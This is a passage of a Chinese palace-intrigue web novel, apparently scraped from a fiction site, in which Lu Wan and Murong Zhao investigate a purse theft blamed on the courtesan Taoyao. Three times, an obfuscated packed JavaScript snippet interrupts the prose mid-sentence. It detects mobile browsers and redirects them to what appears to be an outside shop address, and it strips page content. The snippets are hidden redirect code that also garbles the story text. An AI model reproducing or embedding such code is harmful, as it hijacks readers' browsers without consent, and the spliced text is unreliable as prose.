殷皇后虽性格跋扈,但脑子不蠢,看在太子儿子的份上也不会干这种事。 殷其雷却不好说,陆绾听闻,秦王拒了杏花台杜氏的婚约,正与殷大将军的小女儿殷婵来往频繁。 秦王与太子为一母同胞的亲兄弟,才貌皆胜于太子,却不受帝后的重视。 若是秦王有意挑拨太子公主两党的关系,从中渔翁得利,那便说得通了。 点翠又摊开手掌,掌心是几张白色的糖纸,泛着栀子花的香气。 陆绾笑道:“栀子糖,这糖纸精致,糖也不便宜。燕王世子爱吃这东西,八成是他的。看来他也在查。” 点翠面色沉重,点头道:“但我今日没有看见燕王府的人。若是他们查错了……恐怕就难办了。” “无妨,慕容昭这大理寺少卿的位置也不是白坐的。若是这点事都查不明白,便不是慕容昭了。”陆绾道,“既然太子那边在查,我们就不必跟了,两边撞上又要废一番解释,不如干脆放手。” 点翠点头称是。 “不过,现在有另一件事要劳烦你去查探。”陆绾交代道,“我需你夜里去紫霞楼探探桃夭的动静,差人查一查她有无亲眷,若有,亲眷安置于何处。” 交代完这一切,陆绾脱下官服,又回案上翻起那封关于沐风下落的情报公文。 公主在上边又加了不少批注,诸如“若仍在世,年岁四十有余”、“容长面,其余不知”此类。 字迹遒劲,下笔时未有犹豫。 陆绾想起今日在紫霞楼见过的徐嬷嬷,年岁和脸型倒是能对上。这位徐嬷嬷一眼就认出了她的身份,想必关注公主府非常。若她真是当年的沐风,为何不直接来投奔公主府? 若贸然交底,碰上个假的,可就麻烦了。 陆绾摇摇头,心道不急一时,这位徐嬷嬷可过几日再探,便翻起其他公文。 公主府对外开放理事投递通道,大楚若有百姓等不了官府,亦可像公主府求助。因而公主府在民间颇受推崇。 公文自然也是什么都有。大到朝臣攀附,小到邻里琐事。凡事不论大小,只要报到公主府上来,必定会派幕僚前去解决。 好在陆绾只主管暗探,其他更具体的事项都交由府中幕僚处理,只需最后审阅一遍幕僚们的奏文,最后交由公主即可。 砚台里的朱墨干了又满,不知不觉间夜已深。 公主见陆绾书房的灯火仍亮着,才知自己忘了陆绾还要处理府内公文。 得赶紧找一个人来,接手陆绾手头的府内公务。公主府在朝中必须有人,这个人是陆绾公主最放心。 公主想着,推门进入陆绾书房,默默在她旁边坐下,接过余下的公文。 陆绾抬头,她的瞳色本就较常人偏浅,灯火下更是照得透亮,泛着浅金的光泽,看着像山间灵兽。 “姐姐来了。”陆绾笑着伸了个懒腰,理所当然地往边上挪了挪,“那就劳烦姐姐帮我看剩下这些了。” 公主笑着看了她一眼,像小时候那样刮了刮她的鼻子。 “上任第一天可还顺利?” “嗯嗯,顺着呢。”陆绾打着哈欠道,“上头是林大人,没人敢说我的闲话。” 陆绾看见公主,又想起紫霞楼的徐嬷嬷,眼珠子一转,调皮道:“对了,姐姐,你当真没去紫霞楼看过小倌的对吧?” 公主翻了个白眼。 陆绾用袖子半遮着嘴笑,道:“那就对了,我今天在紫霞楼碰着一个长脸嬷嬷,四十来岁的样子……” 两人正对着沐风和徐嬷嬷的特征,有侍女来报点翠回来了。 跟着点翠进来的还有个姑娘。 那姑娘粉面如月,眉眼柔和秀丽,正是桃夭。陆绾白日里在紫霞楼没功夫细看,此时借着夜间烛火端详,才感叹这姑娘确实和自己有几分相像。 画屏揉揉眼睛,惊呼道:“点翠姐姐,你怎么把桃夭姑娘给带出来……不对,带回来了?!” 点翠不慌不忙,按部就班地行礼:“见过公主,见过小姐。” “起来吧,说说是怎么回事。”公主也拉了一张月牙凳,在陆绾旁边坐下。 点翠夜间从后门入菜园,借着墙角的竹竿跳上房瓦,一路点着房梁屋瓦到主楼三层。 到了一探,桃夭屋内只有一人——想来是那王翀不能夜不归宿,早早回府了。 桃夭姑娘被困于密室,紫霞楼内又有嬷嬷明争暗斗。即便解决了王翀,桃夭恐怕也难得自由。点翠便当机立断、翻窗而入,带走了桃夭。 陆绾听完这番陈述,便觉熬了大夜的脑子针扎似的疼。 “大胆!”公主厉声喝到,“你家小姐让你查家眷和住处,你如何自作主张把人带了出来?” 点翠面不改色道:“明日紫霞楼便会发现桃夭失踪。花魁失踪,还是被达官贵人包年的花魁,必会报官。京城内若有家眷,彼时必会出现。” “这么大一个活人,你是打算往哪藏啊?”公主怒问。 “公主息怒,是桃夭擅自做主出逃,违背身契,自当受罚!”桃夭扑通一声跪下,往前膝行几步,辩解道,“桃夭在京城内并无亲眷。白日里,桃夭承蒙上官相助之恩,见上官离去时一副欲言又止的神色,想着上官约莫还会再来,便守在窗边等待。” 桃夭目光灼灼地仰头望着公主,黑色的瞳仁如曜石般亮。 公主不禁扭头看向陆绾。这张脸此刻不论是面容、神情都像极了陆绾——只是陆绾的瞳色更浅,看着更加薄情。 陆绾没有什么心情去听这些始末,把桃夭带出来究竟是点翠的主意还是桃夭的请求已无从查证。关键是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385972|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人已经出来了,接下来怎么办。 桃夭磕磕绊绊讲完了始末,垂着眼皮等待发落。点翠还是一副面无表情的样子,看着有几分倔。 陆绾心道,点翠倒也是个人物。若是哪日被抓去别家府上问询,估计也问不出什么秘辛。 此乃陆绾职内官务,公主都不便直接插手,听完来龙去脉只在一旁默默喝茶。 “都起来吧。”陆绾揉着眉心,接过画屏递来的汤婆子,缓声道,“我听说你会伞舞,但并未亲眼见过。白日里去紫霞楼找你便是想看这伞舞是否能入选百花宴的民艺。” “我现在便可展示给上官看!”桃夭喜出望外,忙道。 丹砂唤人去外间找了把素面油纸伞,递给桃夭:“府内没有舞蹈用的绸伞,只能委屈姑娘先将就了。” 桃夭稍稍整理衣裙,深施一礼。 油纸伞虽不及绸伞轻盈艳丽,却更能展现桃夭的功底。桃夭身段柔软灵活,伞如同她延申的衣袖。伞面开合间如同花瓣将开未开,又有几分女子欲说还休的意味;伞面旋转,桃夭亦改为碎步疾行,恰似疾风骤雨吹落一树繁花。 当真是雅致,若是配上桃夭自己的桃花绸伞,应会更添几分华丽典雅。 “你的伞舞很好,可愿于百花宴当晚登台出演?”陆绾问道。 桃夭愣了一下,眼睛里泛起水光。 “谢陆典簿,桃夭荣幸之至!” 陆绾摆手道:“不必谢我。我身为文信侯之女,如今亦是光禄寺编下官吏。我只负责敲定民艺人选,至于其他越职的事,我不便做。” “桃夭姐姐,那……百花宴当天,紫霞楼会放你出来吗?”画屏不禁有些担忧。 陆绾冷冷扫了画屏一眼。 丹砂拉住画屏,示意她不要再多嘴。 桃夭忙跪下道谢:“谢上官开恩!” “倒不是我开恩,不必这样谢我。你的舞好,所以我才选你。”陆绾道,“时候也不早了,我要去歇息了。我很期待你百花宴当天的表演。” “点翠留下,其他人散了吧。” 画屏一步三回头,几乎是被丹砂拽着出了门,两人拐进西侧小间。 “小姐这安排……真的没问题吗?” 丹砂耐心道:“小姐是光禄寺典簿,不是什么县县尉或者什么州的参军长史;光禄寺更不是大理寺。听小姐的,小姐这么做自有她的道理。” “可是——小姐脸色看着也不太好!”画屏绞着手帕道。 “点翠在里面呢。小姐应该有话要单独跟她说。”丹砂安抚道。 走廊内,公主叫住桃夭。 “陆典簿新官上任,很多事情不大方便做,倒不是她不讲情面。”公主轻声道。 “桃夭懂得的,陆典簿是个好官。” “我知道你的困难,如果紫霞楼不放人,我便提前几天去紫霞楼订你陪我夜宴游园,什么世家大族不比我这个正儿八经的皇亲,你看可使得?” “公主大恩,无以为报!” 5. 失窃 屋内只剩陆绾、点翠二人,又重归寂静。 陆绾饮了口温水,冷声道:“你是个有主意的姑娘,可今日之事,我要罚你,可知错?” “奴婢知错。”点翠道。 陆绾叹了口气,道:“不服就是不服,你跟在我身边十年,我看得出来。” “你将桃夭带回,本是好意,但行事欠妥。 “我是朝廷新官,又与公主关系密切,无数双眼睛盯着我找把柄,稍有不慎便会牵连公主,此为其一; “我虽想过命桃夭于百花宴上表演伞舞,但在亲眼看过伞舞前并无十分把握,若是伞舞不合适,今日又该如何收场,此为其二; “纵使我愿意为你二人担责,你身为我最信任的贴身护卫,汇报时却不以实情相告——你都未能信任我,如何要我为你收场,此为其三。” “点翠知错!”点翠跪下低头道。 陆绾示意她起身,点头道:“这事我罚你一个月的月钱,以后莫要再如此行事。” “点翠还有一事相报,”点翠起身上前低声道,“我观桃夭姑娘,也似是习武之人——那伞舞其实更像是武学功法改编成舞。只是不知为何桃夭姑娘身上一点功力全无。” 陆绾闻言一惊,道:“你能确定?” 陆绾虽也习过武,但学的时间不长,旨在强身健体,功力不深。但点翠是实打实地跟着公主一起学了十年的武艺。 “千真万确。奴婢习武十年,这点看错不了。公主殿下应也有所察觉。” 陆绾沉思片刻,感叹道:“这个桃夭姑娘,应该也是个有故事的人。可惜我并非供职于大理寺,她的过去,不在我的考量之内。只愿这姑娘百花宴顺利登台,往后余生能够顺遂。” 礼部公务繁忙,陆绾常在公廨过夜,几日不曾回公主府。 王府的人来送礼,丹砂本不欲收,转念想起小姐书桌上叠好的几张油纸,还是收下了。 陆绾好不容易得了两日清闲,这才有时间回府打开看。 送的是一匹碧色荷花纹披帛,正是天子赏赐的珠光缎。上边的荷花纹应是请了南市最有名的花鸟绣坊绣的,从右至左是一朵荷花从花苞到盛放的全态。 这珠光锻一共七匹,金银红碧靛紫青,是赴华京观宴的越州商人贡给宫里的。金银自然是给太后和皇后,公主得红、陆绾得青。这么看来,燕王世子得的就是这匹碧绿色的。 “哎呀,真好看!小姐,这色也称你,还正好配小姐的荷花簪。”一旁探头探脑的画屏惊叹道,“这燕王世子不会真是暗恋我们家小姐许久了吧?不然怎么这般殷勤?” 陆绾绕开了画屏的问题,吩咐道:“去库房拿最好的布料来,礼尚往来,正好给世子回礼。” 画屏拿来的是珠光缎的余料和几匹丝布。 “小姐,库里最好的还得是珠光缎。可是拿去做了裙子,余下的料子只有这些了。上次在西市淘的丝布也是珍品。” 陆绾挑了匹红丝布,配着珠光锻的余料,正好做香囊和穗子。她不擅绣工,托绣坊去做一个香囊包又有点大题小作。好在京城有现成的绣样铺,买回来缝上就好。 “小姐看看喜欢什么样的?”绣样铺的姑娘一边帮陆绾把丝布拆成穗子,一边招呼道,“送心上人就选鸳鸯纹,送长辈就选仙鹤纹,这两样卖的最好。喜欢华丽的就看看七彩鸾鸟、日中金乌、丹凤朝阳……” 大楚尊凤,因而民间也多喜鸟类。绣样铺的东西大半都是花鸟。陆绾一手翻着铺面上精致的绣样,脑海里又浮现出慕容昭那几分玩世不恭的笑容。 “要这个,玄色九头鸟。” 浅青色缎料配玄色九头鸟,下缀一块墨玉和长长的红穗子。 “小姐真是好眼光。”铺面姑娘三两下给陆绾把绣样和香囊缝上,热情夸奖道。 陆绾腼腆地笑着接过,正欲调头回府,只听身后一声沉闷的巨响。 “我师姐不会偷盗,放她出来!” 东岔路几十米外,紫霞楼院门前的石狮子被踹翻在地。一个剑客模样的女子一手叉腰一手持剑,向院内大喊。 石狮子下压了个看院门的小厮,另一个小厮的脖颈正对着剑锋,被直直逼到了墙边。 “杀人了!杀人了!”一个正欲从院内出来的中年男人捏着嗓子尖叫,调头跑回院内。 不一会儿,紫霞楼的院门便围上一圈人。 陆绾快步上前,挤进人流的包围圈,对那女剑客道:“敢问这位女侠,你师姐是哪位?” 女剑客定定地望向陆绾,摇摇头,犹豫着收了剑,用剑柄指了指院门旁贴的告示。 乌泱泱的人群又齐齐探头望向紫霞楼的告示。 “上面写的什么,谁认字啊?” “我是不认得字,但那画的不是桃夭姑娘嘛!那个鼎鼎有名的伞舞,元宵节州长史请去城头跳过的。” “对对对,就是她……长得可漂亮了,这么和善的面相,怎么可能犯偷盗?” “还好已经物归原主了,不过这样,百花宴还能看见桃夭姑娘的伞舞吗?” 桃夭?陆绾心底暗暗一惊。 方老板极力托举绿绒,紫霞楼内亦有明争暗斗。百花宴的名单公示后,桃夭被人使绊子并不稀奇。 花楼艺人私藏客人赏赐并不罕见,小偷小摸之事若是并未达到对簿公堂的严重程度,一般来讲会私下秘密处置。当街贴告示公之于众,日后有损艺人声名,对紫霞楼而言更是自断一臂。 陆绾看了眼倒在地上疼得呲牙咧嘴的小厮,向女剑客问道:“敢问女侠,这小厮又是怎么回事?” 那女剑客又对着倒地的石狮子踹了一脚。石狮子轰隆隆滚到一边,被压着的小厮千恩万谢地爬起来。 “这人对我师姐不敬。”女剑客冷冷道,“你刚才说了什么脏词,有本事对着这位小姐再复述一遍!” 桃夭虽成名不过三四月,却是美名远扬。舞蹈高雅为人随和,且是紫霞楼为数不多的坚持不卖身的艺人。围观人登时一片躁动,更有胆大者直接高声骂起小厮。 小厮跪在地上一个劲地磕头喊饶命。 “我问你,桃夭姑娘所盗何物,又受何惩处?”陆绾问道。 小厮见陆绾衣着不俗,手上的墨玉坠子见着更是有些来历,仿佛见了救星,道:“这位小姐,这桃夭姑娘具体犯了什么事,我们这底下的人也不知道。要不……我带您进去问问我们家掌柜的?” 陆绾闻言看向女剑客。 女剑客不语,一张脸隐在黑兜帽下喜怒不明。 沉默片刻,女剑客重新别好佩剑,冲陆绾点头道:“这位小姐,谢了。” 管事的嬷嬷说,方老板不在。 “这桃夭啊,前些天傍上了王家的二公子,谁知贪得无厌,手脚不干净,摸走了王公子的荷包。” “你怎知是我师姐摸走的?”剑客说着又要拔剑,手腕却被陆绾一把摁住。 剑客感知腕上力道,身子僵了僵,略微诧异,似是没料到这位富家千金也是习武之人。 “你又是什么人,敢在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385973|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里闹事?”嬷嬷见陆绾摁住了剑客,胆子便大了起来,高声道,“什么师姐师妹的,讹人也搞这套画本子戏码。桃夭连亲妹都没有,还师妹!” 按点翠的判断,桃夭曾是习武之人,想来应是命途坎坷,才功力尽失进了花楼,有个师妹也不足为奇。 虽身份存疑,但这女侠的关切之心却是做不得假。 陆绾上前半步将剑客护在身后,道:“这姑娘是和我一道来的,不得无礼!” 嬷嬷脸上的褶子顿时垮下来,又重新堆出一个笑脸。 却听身后一娇俏女声道:“罗妈妈,贵客要走了。” 陆绾回头望去。绿绒化在王翀怀里,被揽着腰从楼梯上带下来。 “哎哟没看到我这也是贵客吗!”罗妈假意斥责道。 王翀神色间有几分醉意,目光扫过楼下的陆绾,忽而撤了揽在绿绒身上的手。 绿绒身子单薄,一个不稳摔在扶手上,极为浮夸地叫唤起来。 王翀拔了佩剑三两步冲下楼梯,冲着陆绾怒道:“小贱人,换别的人来蒙骗我还偷我荷包!” 说罢,佩剑离手,直直向陆绾刺来。 陆绾许久不练武,没有带佩剑的习惯,抓着身后的罗妈闪到一边。 剑客挥掌一挡,王翀的宝剑折了弯,落到地上。 “公子看清楚了,这可是侯府大小姐!”罗妈吓得摊在地上,又连忙招呼人道,“这位公子醉了,快些把他送出去!” “哪那么容易走!”剑客拔剑出鞘,顷刻间,将王翀逼到墙角。 颈侧架着剑,王翀的酒意清醒了几分,忙道:“陆……原来是陆小姐,鸿志我醉糊涂认错人了,多有得罪……这位侍卫好身手,好身手!” 陆绾道:“女侠莫要冲动,我是侯府小姐,亦是公主命官。请你相信我。” 楼内没人敢上前,也没人离开,都远远地围观。 却见一小厮慌慌张张直奔柜台而来,道:“大理寺的人来了。” 剑客收了剑,三两步从挑高中庭跃至二楼,跳窗而出。 “王公子的荷包被偷了?”陆绾向王翀问道。 “对对!就是那个桃夭,在她陪客的隔间里发现的,就压在枕头下!” “你怎么知道的这么清楚?”陆绾眯眼看向绿绒。 绿绒一下子蔫了气,支支吾吾说不出话。 “欸,是这样的。桃夭不愿意卖身陪客,把王公子灌醉了让绿绒替的。”罗妈妈陪笑道。 “呸!你还好意思说。我要的是桃夭姑娘,你们给我换成绿绒!” “既知道人不对,为何当时不提。我不信紫霞楼还敢糊弄王家公子。”陆绾冷冷道。 “我当时不知道!”王翀梗着脖子答道,“第二日绿绒在楼梯上拦下我对我哭,我才知道是她。” “王公子——”绿绒泪眼汪汪地望着他。 罗妈妈一把揪过绿绒,巴掌扬起顿了顿,终究是没扇在脸上,给人翻过来往臀上给了一下。 “替客的事你也做得出来,好在这次是王公子肯换人好说话。下次看你还敢!” 王翀怔怔地望着巴掌落下的地方,像是丢了七魂六婆,那股子醉意又上来了。 罗妈追着绿绒打,绿绒左歪右晃,几个走步歪入王翀怀中。 “要演戏,不如上大理寺演。” 绿绒的哭声止了,罗妈也停了手,一脸惊恐地望向门口。 慕容昭一掀袍摆,大步跨过门槛,从容道:“大理寺少卿慕容昭查案。” 6. 疑云 一众捕快跟在慕容昭身后进来,列队排开。 陆绾行礼道:“既是慕容少卿来了,我这个典簿便不插手了。” 慕容昭微微点头回礼,道:“此案事关百花宴,故而林少卿特地嘱托我亲自前来。陆典簿若方便可来大理寺旁审。” 林少卿身为百花宴总筹划人,这几日忙得脚不沾地。他既已把艺人之事交给陆绾,应不会再仔细过问。 看来这盗窃案不止事关百花宴这么简单。 见陆绾微微颔首,慕容昭便走到王翀面前,幽幽道:“鸿志兄放心,只要你配合走一趟,你来紫霞楼的事,我可以暂时替你保密。” 王翀鼻子里哼了一声,偏过头去。 慕容昭指了指脚边的罗妈、抱着绿绒的王翀,对捕快道:“这个,还有这一对,带走。剩下的人去楼上找桃夭。” 陆绾将方才剑客之事告知慕容昭,片刻后,红衣捕快踩着楼梯下来。 桃夭没找着。 慕容昭道:“余阳留下,其余人跟我回去,先把这几个审了。” 余阳是慕容昭的贴身侍卫,若慕容昭跟着父亲上战场,余阳必定是他的副将。 余阳回了声是,继续去楼内寻找。 大理寺内,罗妈、绿绒、王翀三人一字排开。 “荷包现在何处,拿上来!”慕容昭气定神闲,端坐于主位。 王翀从袖口掏出荷包,走上前一手抛在案上。 “王公子倒是气性不小。”慕容昭嗤笑一声,打开荷包看了一眼。 里头全是银艇,共七块。 “荷包归还时,里面可有少了什么东西?” “没有。”王翀道。 慕容昭皮笑肉不笑,将荷包中的银艇尽数倒出,缓缓道:“鸿志兄要不要再仔细看看?” 王翀看了一眼银艇,换上一副窝囊腼腆的笑容道:“确实是我拿到手后检查不周,少了三块银艇。” “嗯,去搜绿绒。” 两个女捕快摁住绿绒,上下翻找一番,从绿绒袖内摸出三块银艇。 “你个无耻的东西!我是怎么教导你的,做这种事。”罗妈抬腿要踹绿绒,被侍卫拉开。 慕容昭将手中惊堂木一敲,罗妈立即噤声。 绿绒跪着向前磕头道:“我招,我招……” “在桃夭的枕头下面翻到这个荷包后,我打开看了,王公子太有钱了。我年纪小,从没接待过过这么有钱的公子,出门带十块银艇。我也不贪,做三次那就拿三块……” 王翀脸色难看起来。 罗妈见状啐道:“你还敢狡辩!你进去不过两刻钟,哪里能做三次!” 绿绒涨红了脸,当即反驳。 堂下人眼观鼻鼻观心,不敢多言,都在内心不知默默算些什么。一时间气氛微妙。 慕容昭轻笑一声,瞥了席上的陆绾一眼。 陆绾装作不明,端起茶杯抿了口茶。 看来慕容昭也听说过太后有意撮合过王公子与自己的婚事,只是没成。 惊堂木一响,罗妈和绿绒再次闭嘴。 “王公子再仔细想想,还有没有什么别的不见了。”慕容昭道。 “没有!”王翀一脸坚定道。 慕容昭与王翀对视片刻,似笑非笑道:“那好。” 两人暂且先押下去,堂上剩罗妈一人。 陆绾眉头微颦。 事情没有这么简单。慕容昭应是通过燕王府暗卫打探到了些什么,王翀的荷包里怕是有别的东西转移了。 喊她来旁审,无异于共享此情报。若是与太子相关,便是拉她入伙;若是与公主相关,不是威胁便是投诚。 只听慕容昭道: “罗妈,想来你也看见了。你的这位绿绒也是个手脚不干净的。你能确定是桃夭偷了王公子的荷包吗?” 罗妈道:“绝对是她!她被王公子包了身子,又眼馋百花宴的机会,夜里私自偷跑出去到侯府献艺自荐。可紫霞楼向来以客人需求为先,王公子不放人,桃夭百花宴也出不去。” 慕容昭闻言望向陆绾。陆绾点头道:“确有此事。” 罗妈继续道:“那桃夭在方老板面前都招了,说是有蒙面人找她,让她偷王翀公子的荷包,不日公主便会点她百花宴陪同游园。” “桃夭现在何处?” “这……方老板亲自惩处的,小人也不知啊。”罗妈为难道。 陆绾大感不妙。 “也好办,余阳,去把那个方老板拿来。” 方老板还是一身娇艳的颜色,一贯的倨傲。只不过脖颈上添了许多新鲜痕迹。 陆绾幽幽道:“怪不得今儿我去时罗妈妈说方老板不在,原来是这种不在。真是抱歉扰了您的好事。” 方老板正欲反唇相讥,被堂上的惊堂木响压了回去。 “我问你,公主来点了桃夭没有?” “点了。”方老板绞着衣服上的丝带,一副漫不经心的样子。 “哦?公主没拿到东西竟肯点人?”慕容昭挑眉道。 罗妈插嘴道:“谁说没拿到,荷包不是偷出来了吗!” “可依王公子所说,这荷包里东西没少呀。”慕容昭道,“方老板,要不先下去跟王公子对对账?” 方老板翻了个白眼,不答话。 “桃夭在何处?” “她犯了错,自然是关到紫霞楼密室。” 慕容昭闻言望向捕快头子,头子道:“大人恕罪,小的带人再去搜。” 慕容昭又问道:“密室在何处?” “密室自然密室。密室的位置岂能轻易告知?人尽皆知还叫什么密室!”方老板不耐烦道。 惊堂木吓不着方老板,拖下去挨了板子,也没再说出别的话。罗妈见主子在场,似是也壮了几分胆,梗着脖子什么也不说了。 新的证据出现之前,再审无用。陆绾给慕容昭递了个眼神。 慕容昭道:“都不开口,那今日先到这里。都押下去看好了。” 待到人都散了,慕容昭起身,缓步走到陆绾跟前。 “慕容少卿还有何事?”陆绾淡淡道。 “依你之见,桃夭此人如何?” “桃夭善良单纯,颇具侠义之风。”陆绾道。 “你没有什么要问的吗?”慕容昭眉眼弯弯,略略俯身倾向陆绾。 陆绾不避,道:“你一开始就知道,王翀荷包中丢了不得了的东西,是什么?” 陆绾本没指望慕容昭回答,可眼前人竟倾身至她左耳旁,悄声说了出来。 慕容昭直起身子,细细打量着陆绾的神色,可什么都没瞧出来。陆绾一张玉面如同一碗凉水,眼底无喜无怒,更不见姑娘家的羞涩。 只有陆绾自己知道,心里这碗水将沸未沸,那气泡正要沿着胸膛往上升,熏热整个脸颊,又被陆绾强行摁下盖子捂了个严实。 世子这算是什么? 调情?勾引? 还有,什么叫具体何物他也不知? 陆绾刚回过神来,意识到自己似乎应该有点反应,就听慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385974|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容昭淡声道:“我欲往公主府一趟,不知陆典簿可否赏脸作陪?” 陆绾自然是要回公主府的,同路却不同行,多少有些奇怪。 陆绾撑着慕容昭的胳膊先钻入车帘,慕容昭在她对面坐下。 马车内空间不算宽敞,两人膝间只隔着一拳的距离,抬头就直直望进对面人的双眼。 陆绾这时才发现,慕容昭眼尾的睫毛格外长些,又长又直,却遮不住一双黑瞳剪水的明亮。 “……嗯?”还在思索案情的慕容昭察觉到陆绾的目光,如同魂魄归体般从喉咙里应了一声。 陆绾低头,正想着借口,忽然记起袖子里还收着要给他的香囊。既已露羞涩,何不顺势再进一步,将这世子套牢总没坏处。陆绾想着,便顺势偏头去取。 “给世子的回礼,方才人多不便。”陆绾伸手将那青色的香囊递过去。 慕容昭似是有些茫然,打开香囊凑到鼻前闻了闻,道:“水莲香?” “不知世子日常用什么香,就先装了我爱用的。”陆绾道。 慕容昭一展笑颜,夸赞道:“此香清雅幽微,浅淡宜人。陆娘子好品味。” 说着又将香囊系好,收入怀中。 不知不觉间,公主府大门已赫然立于眼前。朱门墨瓦,金银雕绘的凤凰振翅欲飞。 陆绾身佩最高级别的公主府玉牌,本可直入。可这次带了慕容昭,只得一同等候通报。 公主府华丽雍容,珍品字画仿若不要钱般沿廊挂出,旁边用鎏金玉牌展示作者名姓及作品雅名。 这些字画每三月便会撤下入库,再换些新的。更换字画之时,也是公主府开放招揽客卿之日。 陆绾这几日忙得天昏地暗,这会才发现廊内的字画不知何时已换了新的。 “陆娘子,世子殿下。”一白衣书生上前拱手行礼道,“公主已在正厅等候,二位请随我来。” 此人眉清目朗,腰配玉牌,行礼后目光落在陆绾身上。陆绾看着他脸生,玉牌级别仅次于她,应是公主府新纳的幕僚,接替她手上的府中事务。 “敢问阁下名号?”慕容昭道。 白衣客卿转向慕容昭道:“在下公主府客卿,程筠。” 程筠文秀如竹,清瘦单薄,想来是寒门俊才。慕容昭则是劲松,剑眉星目,话本子里标准的武将美男,自带一股威仪。 慕容昭又向陆绾道:“公主府华美之名远扬,今日一见果然名不虚传,竟连客卿都赏心悦目。” 这话的语气有点说不出的怪异。听着倒像是慕容昭与这位客卿有过什么过节。陆绾不答。 程筠面色宽和,笑道:“世子谬赞,自是比不得世子伟貌、娘子华光。” 陆绾已许久没在公主府正厅和公主谈过事了。今日倒是格外新鲜。 公主坐主席,陆绾与慕容昭在同一侧,对侧是程筠一人。 看来这个程筠颇得明华姐姐赏识。陆绾暗道。 慕容昭将案情简要陈述,又几番旁敲侧击。公主自然是不知什么王家府邸的秘辛。陆绾见慕容昭没有直言王翀荷包中到底何物的意思,再者没有证据,暂且也按下不语。至于桃夭,公主确实是昨日点的人。 “若是要王家的东西,我何必兜这么大的圈子去紫霞楼找人偷王公子?”公主不屑道,“世子也不必绕圈子了。我点人也不过是看在她有才华胆识,帮她一把。若真的查出来是桃夭姑娘偷了东西,也不用顾及我的面子。” 话音刚落,侍女玉烛进厅通报道:“紫霞楼的徐妈妈和桃夭求见。” 7. 诬陷 桃夭看起来有些憔悴,徐妈神色之间满是局促慌张。 徐妈连连瞟向席上的慕容昭,又迅速将目光移到公主身上,最后低头看向地上的梅花毯。 公主还未发问,却见桃夭连磕几个响头:“公主殿下,求公主殿下救奴婢!” 公主见状宽慰道:“有什么话慢慢说。陆典簿和大理寺少卿都在,他们都是讲道理的人,莫要怕。” 桃夭收拾好憋在肚里的委屈,将这几日经历一一道来。 王公子每日约莫未时来紫霞楼,酉时离开。方老板命桃夭一直守在隔间内,即便是王公子不在的上午也不得随意出来。 说是被人包了,更像是被囚禁。三楼负责巡逻的嬷嬷是罗妈。罗妈手下管着好几个当红的姑娘——其中就包括方老板力捧的琵琶姬绿绒,正是风头最盛的时候。 可那些姑娘里没有桃夭,桃夭分在徐妈手下。罗妈一向不喜徐妈,连带着看不惯桃夭。所以前日罗妈找过来提出换绿绒伺候王公子时,桃夭并不奇怪。 左右桃夭不愿陪床已找了许多借口,拖到前日已是奇迹。好不容易有个愿意陪的,分些报酬便分了。 罗妈给隔间换上了上好的遮光布,又熄了烛火。借着更衣的空当,换了绿绒进去。 王公子没有发现蹊跷,银钱也从两位嬷嬷那私下走了账。桃夭本以为这事就算过去了,可昨日辰时竟被直接叫道了方老板面前。 王公子也在,说是丢了很重要的东西,方老板让桃夭带着人在隔间找了一通,没找着。一回顶楼便见绿绒拿着一个金线绣的荷包说是昨天在桃夭枕头下摸出来的。 这下换人的事情捂不住了,王公子拿了荷包转头就走,绿绒追出去抱着人哭。罗妈一口咬定是桃夭偷的,桃夭不认,被打了一顿。罗妈扬言再不招认就砍掉不干净的手。 “那罗嬷嬷做事是所有嬷嬷里最狠绝的,若是真的让她砍桃夭一只手,日后还怎么跳舞。是我让桃夭暂时先认下来的。”徐妈一边抹眼泪一边补充道,“可谁知方老板直接把桃夭关到了秘密禁闭室,还在院门前贴了告示。这明摆着是冲着百花宴的名额来的!今天我看着方老板和罗嬷嬷都不在,才敢带着桃夭来公主府求助。” 堂上几人交换了一下眼神。事情说的通,但是没有其他证人证物。如果事情是桃夭所说的这样,偷荷包的人应当是绿绒。 “既然方老板已知道有换人一事,为何她不怀疑绿绒?”公主道。 “就算真是绿绒干的,方老板也会把她保下来。她可是方老板力捧的红人。”徐妈道。 陆绾闻言点头:“此话不假。我那日去紫霞楼,方老板确实是力荐绿绒。不排除为了捧人上百花宴诬陷桃夭的可能。” “徐妈可知这个绿绒有什么来头?”慕容昭问。 “到花楼挣营生的能有什么来头。”徐妈无奈道,“不过是长得好些,放得开些,更听话更讨人喜欢。” “那可知,绿绒姑娘有没有讨到什么有头有脸的人的喜欢?”慕容昭追问道。 徐妈仔细回想了一番,摇摇头。桃夭也摇头。 “也不奇怪,要是真讨过什么少爷公子的欢心,绿绒便不会贪图王公子的三块银艇。”陆绾道。 “那便是桃夭姑娘得罪过什么人了。”慕容昭道。 